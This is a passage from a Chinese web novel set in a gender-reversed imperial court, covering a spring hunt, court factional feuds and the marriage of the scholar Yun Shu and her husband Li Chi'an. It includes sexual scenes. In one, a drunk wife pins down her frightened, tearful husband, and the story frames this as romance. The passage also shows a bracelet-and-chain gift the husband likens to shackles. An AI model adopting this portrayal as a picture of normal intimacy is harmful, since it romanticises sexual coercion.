坐在云竖旁边的薛琪很快离开去应酬,云竖身边也围了许多人,脸上无不代表着讨好之意。 许多人都知道,圣上有意栽培云竖,甚至之前那件事都没有影响云竖,云竖还在里面掺和了一脚。 很快地,云竖身边突然冒出了一个人。 “云学士。”那声音清朗,云竖只听过一次。 是姚妗。 云竖皮笑肉不笑,目光不自觉带上审视,仿佛再考察这个人够不够格,“不知道有何事?” 姚妗是一个很会看脸色的人,“下官曾在长宁殿下的通院里见到云学士,云学士还记得我吗?” “自然记得。” 云竖有意摆脱她,不愿意同她说话。 姚妗像是赖上她了一般,一直绕在她旁边。 是的,云竖很晚才回来府上。 是被姚妗送回来的。 侍从从府门跑到了前厅 ,得到消息的李持安很快去了长廊,就见着正在说话的两人。 妻主,和她的同事。 听到动静,云竖侧身去看,随即又下意识看向姚妗,她脸上的确毫无异样,像是没看到里面的人。 李持安躲了进去,怕外人看到自己。 看着不见的夫郎,云竖的眉眼越发阴沉。 “多谢姚侍郎了。” 姚妗很快回道,“只是顺路而已。” 进了府,门口的马车也渐渐远离。 云竖就见到躲在门口的夫郎。 他凑过来,面色如常般开始抱怨,“妻主又喝酒了。” 他不着痕迹地贴过来,想要检查她身上有没有其他的胭脂。 有没有同别的男人亲近。 李持安丝毫没有注意到妻主脸上的不对劲,目光带着探查,以及慢慢冷下来的注视,足以让人害怕。 夜色颇深,他的目光全在妻主的身上,全然看不清妻主脸上的神情。 侍从提着灯笼在前面引路,府门也被合上锁住。 回到院子里,云竖就被催着去沐浴。 等她出来,他连忙把醒酒汤端了过来,身上也换了寝衣。 “妻主还好吗?”他声音软软的。 昏黄的光线下,李持安抬眼去看妻主,微微歪头,觉得她有些不对劲。 屋内的侍从不知道何时退了出去,只有她们两个人。 她又喝了酒,想来是沐浴时喝的。 他微微皱眉,想着是谁送了过去,怎么不问过他。 见女人慢慢朝他走来,李持安有些疑惑,不该有的害怕慢慢控制他的大脑,不自觉后退了一步。 “妻主” 喝醉了吗? 他突然被抱起来放在床榻上,喝醉的女人把他的衣服扯了去,发髻上固定的簪子更是掉在枕头旁边。 什么声响也没有。 床榻上,他有些不安,双手抵在两人之间,吓得眼睛都红了。 他轻轻柔柔地喊着妻主,声音却在发颤。 很快地,他被按在床上动弹不得,手指攥紧枕巾,眼睛慢慢热了起来,很快覆上一层薄薄的光泽,很是青涩,肌肤不受控制地战栗。 屋内蜡烛燃烧着,红色烛油堆积在盏台上,堆砌着,覆过一层又一层。 轻轻的哭声让人隔靴搔痒。 几个时辰后。 床榻上的人被一件外袍裹住抱起来,露出的手臂紧紧抱着女人脖颈,双腿无力地悬在空中。细看之下,腰间还在发颤。 他紧闭着眼睛,睫毛颤抖着。 洗浴过后,他浑身无力地被抱住,耳边听到的是女人的道歉。 他被亲着后颈,被揉着酸胀的腰身,更甚至腿脚也被压住。 滚烫的气息围绕着他,无刻不侵略他的五感,他的身体止不住颤抖着,无力的手指搭在被褥上,时不时无法控制地抖一下。 他累得几乎说不出一句话。 他费力地翻过身,黏在她怀里,埋在她的锁骨处轻轻呜咽着,既委屈又带着埋怨。 真是的,没轻没重。 李持安微微睁开眼睛,朦胧湿润的眼睛盯着她,薄而轻的脸庞带着粉,微微张口,还没说什么就被亲住。 他浑身瑟缩了一下,被松开后昏昏的喘气。 翌日。 他很早被声响吵醒,撑着身子起来伺候妻主衣着,明明腿都还软着,腰还酸着,神智都未清醒过来,抖抖索索地伺候妻主穿衣。 等妻主走后,他又回到榻上,很快又睡了过去。 许久之后。 他被伺候得坐在软榻上,眉眼疲倦,时不时低头整理自己的衣襟遮住脖颈处的吻痕。 “妻主呢?还没有回来吗?” 侍从摇头。 李持安没再说话。 淞朱让人取过膏药来,慢慢脱去公子身上的衣裳,慢慢抹上去。 他看着公子身上的狼藉,想着女君真是不怜惜公子,这些痕迹,没有两三天都消不下去。 他又看着公子,虽是从床榻上醒来,整个人依旧有些迷迷糊糊的,时不时就撑着手睡了过去。 屋内安安静静地。 他很快又睡了过去。 以至于他什么时候被抱住也不知道。 他轻声呜咽着,被亲得喘不过气来,眉眼水润润的。 不知道自己身上的衣裳何时被解了去, 李持安被握住腕骨和腰身,被迫仰起头。 他被压在软榻上,咬着唇尽量不发出声音,眼泪汪汪地流下来,羞耻又莫名地欢喜。 低低的哭声听上去并不戚戚的,反而带着埋怨和调情。 软榻上的人简直糟糕极了。 一边紧绷着身子担忧有人会突然经过听到,一半又控制不住地颤着身子,声音压抑不住地从口中溢散出来。 一个时辰后。 他浑身无力地瘫软在那,里衣褶皱在一块,身上的软香格外浓郁,额间的碎发也有些濡湿。 晚膳时,他黏乎地埋在她的怀里,双手抱着她的腰,很是乖巧。 被她抱住,被她喂食。 李持安没由来得很饿。 第59章 第59章春猎 夜里。 李持安好不容易歇了下来。 他倚靠在软榻上,细细看着还没有绣完的里衣,眉眼的疲倦越发浓重。 稍稍一动,身子便酸软发胀。 淞朱将毛毯紧紧盖在公子身上,又换了香炉里的香薰。 李持安轻轻抬眼,就见着旁处垂头站着的苘敷。 “你叫苘敷走上来,我瞧瞧。” 他的嗓音有些清冷,又有些哑,没将苘敷放在眼里,尽管很是疲累,眉眼依旧带着世家的倨傲和矜贵。 虽然府上败落了,他依旧很快被女人又护住,还没有经受过敲打,唯一受的委屈就是大婚那夜的敷衍。 不在妻主面前,他身上又浮现出世家隐隐带着的恶劣和轻慢。 他放下了手上的衣裳,轻轻撑着身子,漆黑的眼眸打量着眼前的侍从,“何时跟在女君身边” “快六个月了。”苘敷走上前,垂眸回道。 他想着,正君可真是好手段。 明明之前还一副不受女君喜爱的模样,也不喜欢出门,整日待在屋内。 即便出来,身上也非常素净。 原以为这位正君家道中落,女君应是不喜的。 可如今,却把女君握得死死的。 公务来不及处理,却一直待在正君屋内。 “有半年了。”李持安语气很轻,“下去吧,以后没有吩咐,不用进屋。” “……是。”苘敷颇有些咬牙切齿道。 等苘敷退出里屋,淞朱走到公子身边,“公子何必把他看在眼里。” 李持安垂眼,手指勾着丝线,“好歹伺候了半年,妻主呢?还没有过来吗?” 用过晚膳后,他就被放在软榻上,妻主去了书房,便一直没有回来。 “想来快了。”淞朱将公子手里的丝线取过来,“奴听府上的那些侍从说,建安寺很灵验,去了那求子的都灵验了,公子要去瞧瞧吗?” 李持安伏在软榻上,缓着身体的酸软,声音低低地,“还早,要去也是半个月后,如今能求出什么来。母亲在洛城如何?” “奴托管家去了,还塞了银钱,传回来的消息是一切安好,其余的话,只是让公子不要发脾气,还有子嗣……”淞朱小声说道,“洛城虽然小,但整体来说都挺好。” 屋外突然传来了声音。 紧接着屋门被推开,带进来一阵风,纱幔也被吹了起来。 女人绕过屏风过来,淞朱很快起身退出屋内,走前看了一眼公子。 见公子很快露出温柔小意温顺迎合的模样,他很快松了一口气。 公子虽然哪里都好,可就是脾气不行。在府上人人顺着,实在不适合嫁到别人家去当正君。 好在公子嫁得是心仪之人,也愿意去收敛脾气,假模假样地扮起贤惠的模样。 “妻主,怎么现在才回来?”他声音细细地,也很软。 甚至整个人都柔顺下来,漂亮的眼眸祈盼地盯着女人。 随着他被抱入怀里,被轻轻揉着腰身,李持安很快放松下来,贴在她的脖颈处,手指轻轻圈着她的发丝。 妻主的手心带着热意,揉按在腰身,除了时不时战栗,其余都很舒服。 云竖把他抱起来放在床榻上,没有再继续折腾他。 他看上去已经没了精神,身体软软的,再欺负下去恐怕得生气。 青丝垂散在榻上,他轻轻蹭了 蹭她的手臂,红润饱满的唇轻轻抿着,有些宽松的衣领微微敞开,露出里面的痕迹。 透着细腻和温热,以及**的饱满柔软。 不同于之前的青涩柔媚,反而透着清透的甜,明晃晃地释放着任人采摘的信号。 等妻主上了榻,他主动地钻到了她的怀里,贴在她的衣襟处。 帷幔被放了下来,里面黑了下来。 李持安声音轻轻地,“妻主会一直待我好吗?” 不会纳侍,不会养外室。 母亲虽一直说府上只有他一个孩子,不会有主君,却一直都有侍夫。 他知道的女君里,婚后不过几月就纳了侍夫,时时能听到这些荒唐的事情。 旁边的人说哪家新夫又没了脸面,婚后一月便抓到爬床的男人,又或者说,不顾脸面去花楼里找妻主。 什么荒唐的事情都有。 云竖的掌腹慢慢贴在他的腰身处,垂眸盯着怀中的人,胸腔下的心脏开始跳得很快。 她的声音在夜色下衬得有些冷,“自然会待你好。” “我之前的话依旧是真的。” 三日后。 迎来了春猎。 南熏园内设有山林、池塘,饲养各种动物。 水草丰美,有大量的麋鹿,以及飞禽。 部分官员家眷聚在帐篷里,低低说着话。 外面围了许多侍卫,仔细听还能听到不远处的马蹄声。 因为云竖,李持安是最早来的,坐在那也没有主动与人攀谈。 旁边的人也顾及被牵连,也避开他,只是时不时看向那边的人。 曾经身份尊贵,如今却只能倚靠妻主的人。 进来的姜闻看见孤坐在那的李持安,朝他走了过去。 他坐在李持安对面,自己给自己倒了一杯茶,“你大婚之日,我可给你送了礼,怎么还装看不见我。” 姜闻看着李持安的脸色,一如之前那般,好似没有任何影响。 他轻轻摩挲着杯沿,微微笑了笑,“说实话,你运气可真好。很多人都等着看你笑话,你猜猜,这个帐篷里有多少人在看着你” “你也是来看我笑话的”李持安说道。 “怎么会呢?怎么说我们也认识几年了。”他语气幽幽地,眼中毫不掩饰恶意。 李持安愣了一下,微微偏头。 虽然说之前都是表面功夫,不过他一时得意忘形的模样真是让人厌恶。 “既然只是为了说这句话,我们也没有什么好说的。” 李持安抬眸盯着他,顿了一下,微微笑了笑,“没让你看到笑话,你是不是不高兴啊。” “毕竟你之前就被我处处压着,我不想理你,你都要跟在我身边。” 听到他的话,姜闻的脸上很快冷了下来,面无表情地盯着他。 他像是想到什么,“你猜我过来的时候看到了什么,你的妻主正陪在长宁殿下旁边,说说笑笑,却把你一个人留在这里。” “殿下对妻主有恩,这有什么奇怪的。”李持安合上茶盏,“你莫非想说,她们有什么关系?想说长宁殿下勾搭有家室的人” 他微微偏头,漆黑的眼睛静静地盯着姜闻,瓷白的脸上带着纯良,“姜闻,才多久不见,你就把我当傻子看” 若是以往,李持安想都不会想,直接把手下的茶碗倒在姜闻身上。 姜闻以前会忍,从来都是好脸色,现在就忍不住了,迫不及待到他面前来得意。 外面传来了动静,一直在帐篷门口看着的人惊呼了一下。 “长宁殿下落马了。” 李持安愣了一下,下意识起身,连带着案桌上的茶盏都倒了。 一直坐着的姜闻见他这般急切模样,突然笑了笑。 他起身跟在李持安身后,想要看着后面的热闹,又想看看李持安的脸色如何。 看着自己的妻主和旁人亲亲热热,想来脸都要气歪了。 掀开帷幔上的坠子,姜闻抬眸看过去,就见着不远处的云竖同其他官员站在一块。 长宁殿下是被谁救起来的呢? 刚刚,她们不是还在说话吗? 不远处。 “那人是谁啊?”苏洄问道,“怎么感觉有些眼熟。” 亭台处,苏洄侧身去看昭鹤,“话说,你家里那些事情处理好了吗?前几日在宴席上就看到你匆匆离开,都没待上多久。” “已经没事了。” 昭鹤不再看那边混乱的场面,稍稍偏头就看到云竖站在马旁,若有所思地盯着那边。 她抛下苏洄,径直走了过去。 四周是马场的范围,地上没有一片杂草,时不时掀起一层灰来。 云竖盯着那马被压在地上,姚妗将殿下抱走,其他侍从连忙跑过去,面色慌张。 云竖这才想起来,姚妗桃花挺多的。 “妻主” 李持安一袭青绿的衣袍,小跑着朝她走过来,面上带着惊慌,被扶住手臂也上下打量着妻主。 “妻主没事吧。”他呼吸有些急促,薄薄的面容浮上薄粉来。 云竖扶住他,见他发乱了,理了理他耳边的碎发,又避着他的耳坠,“我一直站在这,哪里有事,谁同你说我有事。” 李持安微微抿唇,眼睛却往它处看,看到底是哪里发生了意外。 “殿下刚刚被带下去,你想去看看吗?”云竖没等他问,直接说道。 李持安摇了摇头。 “想骑马吗?我牵着缰绳,你坐上去。” 李持安这才注意到妻主旁边的白马,可这显然不是女人所使用。 肉眼可见地温顺,也比较矮小。 “妻主为我牵来的”他这才轻轻挪步,伸手想要去摸那鬓毛。 他露出笑容,漂亮的眼眸中带着鲜亮,又看了看四处有没有人,余光就瞧见了不乐意见的人。 他微微蹙眉,躲在了妻主身后。 “云竖。”昭鹤走过来。 “有何事?” “听说山林有麋鹿,你要不要进去” 昭鹤走近,这才看到她身后的人。 是李持安。 她不可思议地看着他做出这般举动躲在云竖身后,想到他之前见到自己,就拿着茶杯扔向自己,下手颇狠。 “明日吧。” 春猎持续三四日。 第一日并不急着去,自有武官带头。 昭鹤也知现在不大合适,只好说罢离开。 见人走远,李持安轻轻扯着妻主的袖子,声音很软,“妻主” “妻主不是要我坐上去吗? 他扬起头,眼中带着依恋,轻轻吐着气,好似刚刚昭鹤没有来过。 “你讨厌她”云竖问道。 第60章 第60章意外 “我长居闺阁,鲜少外出,怎么可能去认识她呢?” 帐篷处,几个人神色各异,又笑话他落寞了,又嫉妒他命好,真真是富贵命。 在家靠母,出嫁靠妻主,又无府中主君折磨。 姜闻盯着骑在马上的李持安,面上依旧保持刚刚的柔和,手心的帕子却几乎都要搅断。 其中一个人看了一眼姜闻,白眼都翻了起来,转身进了帐篷。 临近夜里,还未出阁的男子都进了帐篷,帐篷外都有人守着,里面也一应俱全。 外面点起了篝火,火炬被一个一个点起来。 武将射中的猎物被摆放在一块,其中的麋鹿直接上供给圣上。 饮鹿血,割兔肉,烤羊腿。 鹿血被端来了云竖面前。 倚靠在云竖旁边的李持安坐直身来,好奇地看了一眼碗里的血。 他身上披着裘衣,脸上被篝火照得发热,额前的碎发也因此微微浮动着。 云竖接过来,特意在旁边盯着的武将突然出声道,“云学士,这可是好东西,喝了就不冷了。” 木柴烧起来的声音格外明显,上面不断转着串起来的肉兔。 云竖低眸看着碗里的鹿血,“虽是滋补,但不宜生喝。” 她放在一旁,“刘都督可要试一试” 刘都督提着一壶烈酒来,倒在杯碗中递给她,“这是羊羔酒,不如试试这个,不比鹿血差。” 酒色白莹,甚至溢了出来。 旁边的 李持安坐不住了,妻主喝醉了怎么办。 听到她的话,云竖微微挑眉,也没拒绝,接过来喝了一大口。 “喝了后面可就要难受了。”刘都督自己倒了一大碗,仰头喝了下去。 等刘都督离开,李持安紧张地环顾四周,见没有人走来走去。 他微微倾身嗅了嗅妻主身上的酒气,双手轻轻攥着妻主的衣袖,两人的衣摆交叠在一块。 “妻主” 他的呼吸湿乎乎的,眼睛也格外漂亮,总是能让人想起他是一个很好摆弄的人。 云竖低头看着他,抬手理了理他有些斜下来的裘衣,直直地盯着他的模样,“怎么了?” “妻主何必要与她喝酒呢?” 云竖轻轻笑了笑,“你想喝一口,是吗?” 李持安低眸看着端过来的烈酒,凑近闻了闻,又微微蹙眉,低头喝了一小口。 “不好喝。”他微微睁大了眼睛,眼角的胭脂也越发红。 他声音很小,偏偏云竖能听到。 “我们回帐篷吧,妻主,这里好多人,等会儿说不定又有人来找你。”他迫切地问,即使这种行为不大好。 前前后后已经有三四位了。 有人来攀谈,他便不能说话,只能垂头等着。 云竖答应下来。 帐篷里。 李持安换下了自己的衣裳,又贴身伺候着妻主,脱下她的衣袍,又取来里衣。 他模样很是温软,脸上带着薄粉,露出的皮肤上光泽莹润。 随着他躺在床上,腰间的带子微微松开,领口也露出了一点肌肤,脱去了层层叠叠的衣裳,露出蚌中的软肉。 一呼一吸,慢慢起伏着。 帐篷里灯火昏暗,李持安伏在妻主身上,肩膀上的薄衣滑落下来。 对比刚开始的青涩,李持安越来越黏云竖。 他双手放在妻主的肩膀上,头抵在妻主的手臂上。 云竖慢慢把他拢住,抬手微微钳制住他的下巴。 李持安觉得有些不适,张口咬住她的手,却也只是含着。 他眼眸中透着莹润,随即松开,微微弯了弯眉。 “妻主,休沐时与我去庙里一趟,好不好?” 云竖知道他是何意,不过是求子而已。 她探进他的衣间,慢慢抚摸着他的腹部。 那里柔软,薄薄的,富有活力。 夜很安静,李持安的心脏跳得很快,匆匆抵住妻主游移的手。 外面都是人。 一定会被人发现的。 带来的衣裳不足以遮住脖颈,明日也不能一直待在帐篷里,要与那些正君待在一处。 他们看了,定然知道会发生了什么。 他慌张似的埋在妻主的脖颈处,低低喘息着,只能任由妻主揉着腰。 …… 山林间是腐烂的,泥土上潮湿且交错的落叶,各种果实开裂腐烂。 云竖捡起地上被射中小腿的兔子,马鸣声在她耳边出现。 “云学士。” 骑在马上的人脸上意气风发,居高临下地看着云竖。 “需要我送一点猎物给你吗?” 云竖看了一眼来人,便不想搭理她。 “云学士对我有什么意见吗?”姚妗问道,“为何避着我。” 她自问自己没有得罪云竖,明明她们两个都是差不多出身。 云竖何必看不起她呢,凭什么不愿意同她说话。 如今她们都是一样的,不是吗? 云竖能借助长宁殿下入仕途,她为何不可以呢? 云竖一时间不知道做什么表情好。 由于光线格外刺眼,云竖根本不想抬眼。 所以她这段话是什么意思呢吗?让她恭维她 “姚侍郎,这话是什么意思?” 云竖一边捏着兔子的后颈,一边不解道。 “我与侍郎不过匆匆几面,谈何过节,侍郎未免太过自以为是。” 姚妗突然笑了起来,“云学士,我未必比你差。你受圣上看重,我也受圣上看重。” “听闻云学士不久前成婚,未有机会观礼。” 云竖这才想到,姚妗还没见过李持安。 她该把李持安藏起来,不给姚妗一点机会看到李持安。 若姚妗真要娶李持安,她是不是会落得早逝的结局 云竖微微笑着,“没有什么事了,我就先去旁处了。” 在马上的姚妗面无表情地看着她离开。 午时。 魏野才终于出现。 她低着头,站在半合在一起的帐篷前,身边依旧围了一些人。 尽管之前的事情对她影响颇大,她面上依旧保持着世族的轻慢。 看着姚妗过来,魏野的脸上不是高兴,而是厌恶。 她微微抬起下颚,显然已经认清了朝中两派斗争的事实。 世族与寒门。 想到姚妗进府取证,魏野便一直沉着脸。 站在魏野旁边的人看到姚妗,有些恼火,“粗俗的家伙,难怪只能沉居下僚。” 她非要弄死姚妗不可。 莫名其妙落得这种下场,族中家业被割了一大半,亲戚也被贬得贬,关得关,还要看那些寒门得意忘形的模样。 “听说昨日还有意攀上长宁殿下,哪里是你这种人能攀上的。” 魏野没说话,旁边的人忍耐不住,趁着圣上打猎的机会,挥手让人把姚妗拉走。 正要经过的姚妗微微后退,“魏学士是什么意思?” 角落处,她们没有打破姚妗的脸,而是往她的肚子上打。 姚妗只能吞声踯躅不敢言。 她身后无人撑腰,虽是圣上,这种事情让圣上知道也只会让圣上觉得她没有用 她在地上蜷缩着,觉得不该是这样。 家眷所待的帐篷处,李持安出来透气。 他勾了勾发间的碎发,站在台上,想着妻主何时才会来找他。 听到不远处低低的吸气声,李持安微微偏了偏头,不受控制地抬脚走过去去望是什么情况。 他背对着光线,面容上掩入阴影处,耳坠轻轻晃着,浑身一副娇软温柔的模样。 地上的女人抬头,直勾勾地盯着李持安。 看清楚情况,李持安吓了一跳,甚至往后退了一步。 站在角落口的他拿着帕子捂住脸,匆匆离开,衣摆晃着。 女人费力地撑着手坐起来,脑子里都是刚刚那个少年的模样。 他似乎已经嫁人了。 刚刚出来的云竖遇到了褚绫,她朝云竖晃了晃手,还丢给她一只猫。 “在里面捡到的,你说奇不奇怪,里面还有这么小一只猫。” “你给我做什么?”云竖看着手里的幼崽,似乎很虚弱。 “你不是有夫郎吗?送过去讨好,我留着做什么。” 褚绫像是进去溜达了一圈,背后的箭也被扔了,身上很是干净。 云竖转而说起了其他,“怎么就你一个人你们刚刚不是两个人进去的吗?” “你说苏洄她刚刚去追兔子了,就走散了。” 一只箭突然朝云竖射过来,伴随着惊呼声。 “快躲开!快躲开!” 那只箭只差几厘米,划破了云竖脖颈处的皮肉。 那里流出血来,云竖捂着脖颈,直勾勾地盯着固在树上的箭。 若刚刚没躲开,那只箭会直接穿破她的喉咙,直接死亡。 射箭的人是一个武将。 “你没事吧”褚绫吓了一跳,想要去看她的伤口。 那只幼崽落在地上,也没有跑,只蜷缩在云竖脚边。 那个武将连忙下马,都吓懵了,“你没事吧?” “没什么,只是破了一点皮。” 匆匆回到帐篷里的李持安莫名不安,甚至恍惚。 他几乎坐不住,紧紧攥着手心的帕子,想着妻主为何还不回来。 那人应该已经走了。 李持安起身出了帐篷,看着不少人都已经回来,而不见妻主的身影。 “你站在那做什么?”后面的声音突然响起来。 李持安转身,便先看到妻主脖颈处的绑带。 “妻主”他走上前,看着她的脖颈,“这为何伤了?” 他声音低低地,“这是怎么回事?” 他突然全身脱力,甚至茫然,带着莫名的恐慌,眼泪不受控制地落下来。 “只是破了皮而已,没什么影响。”她语气轻缓道,“这是里面的猫,若是不想要,出去后我再转送给别人。” 猫已经被喂过羊奶,比之前好了许多,也被毛毯包裹着。 “这没什么,那还有什么是重要的。”李持安委屈道,“那我怎么办?” 怎么人能把箭划过人的脖子,再过去一点,人都要没了。 云竖把他带进了帐篷里,把猫放在旁边,抬手擦了擦他掉下来的眼泪。 “只是一个意外,不会发生了。” 云竖让他坐在自己的身上,发生他已经没了力气。【魔蝎小说 mo xie xs .c om】 60-70 第61章 第61章不知所谓 他眸中还有些空洞,低声抽泣着,伏在她的肩膀处,不肯抬头。 他说不出一句话来,像是被彻底吓到一般,软着身子,戚戚地。 云竖抬手握住他的腕骨,轻轻将人扯出来一点,“今后不会这样。” 即便有,她也得提前规划好,把人送走,也不必落得行乞受人侮辱之事。 “怎么还在哭”她低头亲了亲他的眉间,“只是意外,等休沐后,我们便去庙里求个平安福,今后定然不会让你无所依靠。” 他抬眸盯着妻主,粘人般地仰头亲昵妻主,微微抿唇,“我不是这个意思,若若妻主有什么意外,我定然也不会独活。” 只是为何妻主会如此倒霉呢? 妻主明明还在壮年。 “今日,一直待在帐篷里吗?”云竖没有再继续讨论这个,只是问其他。 他抬眸轻轻道,“只是出来透气时,碰到了一个奇怪的人,像是被人打了。” 李持安也不再说那些晦气的,睫毛上挂着泪,脸上的泪痕也依旧还在。 “妻主明日就不要去了。”他急切道。 “听话一点。”” 李持安抿紧唇,眸中委屈,“妻主是怪我大惊小怪吗?” 他作势生气要起身,却被女人拢住腰身动弹不得。 下午时,云竖陪侍圣上左右,脖颈处的绷带已经被取了下来。 她余光看到走路有些异样的姚妗落坐,很快被人遮住身体,只能看到肩膀以上。 “听说你中午受伤了,是脖子” 圣上突然问。 “已无大碍。” 下首左边坐的是宗氏和几大世族,其余人都四处在后面坐着,不敢去前面被圣上注意。 魏野坐在叔母旁边,抬眼看着坐在圣上旁边的云竖。 魏杏看着她看过去的方向,“你在看云竖听说你和她交情不错。云竖娶了李家的那位,你好生待着。” “不能向之前那样不顾后果,好好在翰林待着,圣上不会不重视人才。” 魏野是状元,如今出了这事,好似这些头衔已经不存在了一般。 “圣上如今看重的是寒门,我再如何老实,圣上也不会看重我,云竖也就罢了,一个姚妗便已经骑在了我的头上。” 魏野压低声音,不复以往的端正,而是像被火烧眉毛一般。 意识到向来平顺的生活突然跌下去,所有人都能比她顺利,所有人都能攀爬上去。 而她还在翰林不受重用,鲜少被圣上召见。 “昭鹤都比你冷静。”魏杏皱眉,呵斥道。 魏杏顿了顿,安抚她,“等你待上一年,后面的我自会安排。” 四处低低细语,面上神情各异,台上的曲乐遮住了她们的声音。 皇帝垂眼俯身着下首那些人的脸上惶恐不安,迷茫萎靡,但无一不塞满了欲望和财富。 她盯着老实下来的世族,又开始思考边疆的战乱。 她紧接着,将目光放在云竖身上,陪坐在旁边的人低垂着眼眸,则手据膝。 云竖品行端正,做事也果断,不与她人同行,与别人完全不一样。 殷宁也需要一个老师,一个不会给她灌输任何亲近哪派,对其他事情有偏颇的老师。 她自然乐意让云竖继续待在她旁边。 耳边是靡靡曲调,皇帝放松下来,惬意地眯着眼睛,让旁边的宫侍给她沏茶。 旁边的侍从跪坐在席上,低垂着头。 春猎以仪式为主,并不需要过于重视猎物。 …… 夜里突然来了大雨,下到凌晨才散去一点。 山林里的雾气很重,林雕在空中盘旋。 惨白的雾四处弥漫,潮湿的空气裹挟着黏稠的湿意濡湿了云竖的青丝。 她进去敷衍地逛了一圈就走了出来。 “你的伤好了吗?” “你怎么没进去”云竖问昭鹤。 “我不擅骑射。” 她顿了顿,“我听说,圣上下午便要启程离开。” “我知道。” 云竖昨夜就已经从宫侍口中知道。 “昨夜有人将折子递到了圣上面前,边疆告急,圣上自然要回去。”云竖继续说道,“秋猎应该就不会来这里了。” 书中并无许多笔墨去写朝廷的走势,也没有写边疆战况如何。 只写姚妗一朝得势,长宁殿下推举,力压昭鹤,与魏野交好。 其他便是写她与男主如何如何,引诱他和离,告诉他私奔,要娶他把他关在后宅。 后面便是男主吃醋,女主撩拨,几个男人同时怀了孕,同时被纳进了府。 五个孩子为结局。 而原身在书中更是一句话带过结局,因为企图男主,后面被马车撞死。 两人走回去,闲谈着明日的事务,目光一同看向了背对着她们的人。 帐篷处,一个男人被遮住了身影,两人的距离隔着一米多。 看上去只不过是普通的交流。 昭鹤的脸上先是变了变,下意识看了云竖一眼。 云竖显然也认出了她自己的夫郎。 他身上的衣裳,还是她给换上去的。 怎么跑出来了? 什么时候跟姚妗认识的 他又有什么好和姚妗说的呢? 十米外。 姚妗从袖子里取出了一封信,“这是李大人托我转交给你。” 被拦住的李持安微微蹙眉,母亲为何会转交给她 他刚要说话,眼见地看到妻主走了过来。 他突然有些心慌,莫名地不想让妻主看到他同别人站在一块。 甚至开始讨厌眼前的人,讨厌她为何把自己拦住,又说着什么莫名其妙的话。 还说他帮了她。 他接着,直接越过了她,朝妻主走了过去。 不过是十几秒的时间,李持安微微抿着唇,开口唤她。 “妻主……” 云竖若有所思地盯着姚妗,想着她眼睛是多有问题,没有看到李持安显然是已经嫁人的模样吗? 顾及什么,昭鹤早已经离开。 他的半边身子被云竖遮住,微微偏头,觉得奇怪。 “姚侍郎怎么会同我的夫郎站在一块是有事情找我吗?为何不直接来找我呢?” 姚妗转过身来,突然笑了笑,扬了扬手中的信,“恰好碰到了令夫郎,正好转交给他,不是更方便吗?再说,我也未冒犯令夫郎。” 对视云竖的目光,她感觉她的身体里瞬间装满了兴奋,看到云竖的厌恶和警惕,大过了对李持安的兴趣。 她看向云竖身后的男人,又看向云竖,“我只是来感谢令夫郎而已,昨日他帮了我,若不是他,我可能还要在那待上几个时辰。” 云竖面色不变,言语淡淡,“既然如此,只是为了送信之事,我便替夫郎先行谢意,把信给我吧。” 这是哪里来的信 姚妗哪里来的信 说着,云竖走过去,亲手把信拿了过来。 她一边低头看着信封的表皮确认是不是洛城来的,一边说道,“姚侍郎,这里不是什么凑巧的地方,旁边都是各个大人们的男眷,你若是冲撞了,这怎么办?” 话落,云竖不再看她,而是把夫郎牵走。 旁边的李持安被迫加快了脚步跟上妻主,另外一只手则覆在妻主的手上,带着凉意。 “妻主 不高兴吗?“他声音很软,带着疑惑。 他只是跟那个人说了两句话而已。 回到了帐中,李持安被松开手。 帐中残留着潮气,莫名的阴暗沉闷。 他站在妻主身后,觉得妻主有些怪怪的。 见妻主坐下来,李持安靠近她站在她身后,双手轻轻搭在她的肩膀上,顺着妻主的肩膀滑下去,有意露出白皙的手臂来,明晃晃地露在妻主眼下。 “妻主若是讨厌那个人,以后侍身见了,一定会躲得远远的。” 他很快被云竖拉在了怀里,坐在妻主身上,身上透着干燥的软香,带着身体的柔软,顺势仰头黏乎地亲了亲妻主。 两人的衣摆交叠在一块,少年的身子都被笼罩住,腰身也被一只手掐着。 帐内没有点蜡烛,昏暗潮热。 云竖几乎能看到他脸上的胭脂,薄薄的皮上掺着薄粉,漆黑湿润的眼眸内却干干净净。 还有白到艳丽的肌肤。 紧接着,云竖握住他的手腕,指腹轻轻摩挲着,低眸看着他这副浑然不知又大胆的模样,如此不知所谓。 云竖不知不觉想到了其他。 想到他害怕的模样。 她慢慢拥紧他,突然笑了笑,“我的确很讨厌她,以后见了,便不要同她说话。” 李持安没有想其他,只是低低应下来,轻轻蹭了蹭妻主的脖颈,又开始问什么时候离开。 他不想待在这里了。 不想听别人的打探,也不想跟那些人说话。 “不喜欢跟那些人说话吗?”云竖顺着他的话问。 “若只喜欢待着府上,我再寻一些东西给你解闷。” 怀中的人缓慢眨了眨眼睛,觉得不对劲,又不知道哪里不对劲。 他没有去管轻轻掐着自己腰的手,立马小声说道,“没说只想待在府上,我还要去给妻主祈福。” “……嗯。” 下午,圣上便突然跟群臣说离开。 等圣上摆驾离开后,云竖便扶着夫郎上了马车。 上马车时,云竖手下的腰颤抖着,李持安眼中还有些红,埋怨般看了妻主一眼,还没进马车,险些跪在马车上。 他腿脚发软,甚至发酸,忍了一下后勉强进去。 身上还有些黏乎,恨不得立马脱了衣裳洗浴。 好在马车上没有侍从,不会闻到他身上的气味。 他倚靠在枕上,将身上的裘衣脱下来,露出有些凌乱的发丝,和有些褶皱的衣袍。 上面的坠子不知道落在了何处。 妻主没有上马车,而且陪在圣上左右。 头一次的,李持安没有那般想要妻主陪在旁边。 回到府上时,天还没黑。 李持安被侍从扶下去便匆匆回到院子里洗漱后,便换上特意让人买的里衣。 屏风隔绝的室内。 他披着外袍,跪坐在香炉旁边,低眸细细地抚平。 “这是从南疆买的,有各种香料。”淞朱说道,“女君定然闻不出来的。” “妻主应该还有一会儿才回来。”他不自在地缕了缕自己的发丝,想着自己在帐中被压着的模样。 第62章 第62章不知节制 夜里。 听见外面的动静,待在屋内的人很快迎了出去。 一炷香后。 那些侍从都退了下去,屋内很安静。 云竖从袖子里取出一个盒子递给了他。 “妻主这是要送我首饰吗?” 他接了过来,打开便瞧见里面的镯子和脚链。 “我替你戴上。”云竖声音有些哑。 她抬手把他身上的外袍扯下来,便看见他身上过于薄过于透的里衣。 “屋内的香薰换了吗?”她一边问,一边把他抱起来放在榻上。 “……只是换个新鲜的香薰而已,妻主不喜欢吗?下次便不让他们弄这个了。”他连忙解释道。 等他被放在榻上,他主动伸手过来,低眸看着妻主把镯子套进去,却发现镯子上连着细链子。 这是什么。 他扯了扯,链子发出清脆的声音,好奇地问道,“妻主买这个做什么?又不能戴出去,活像是镣铐。” 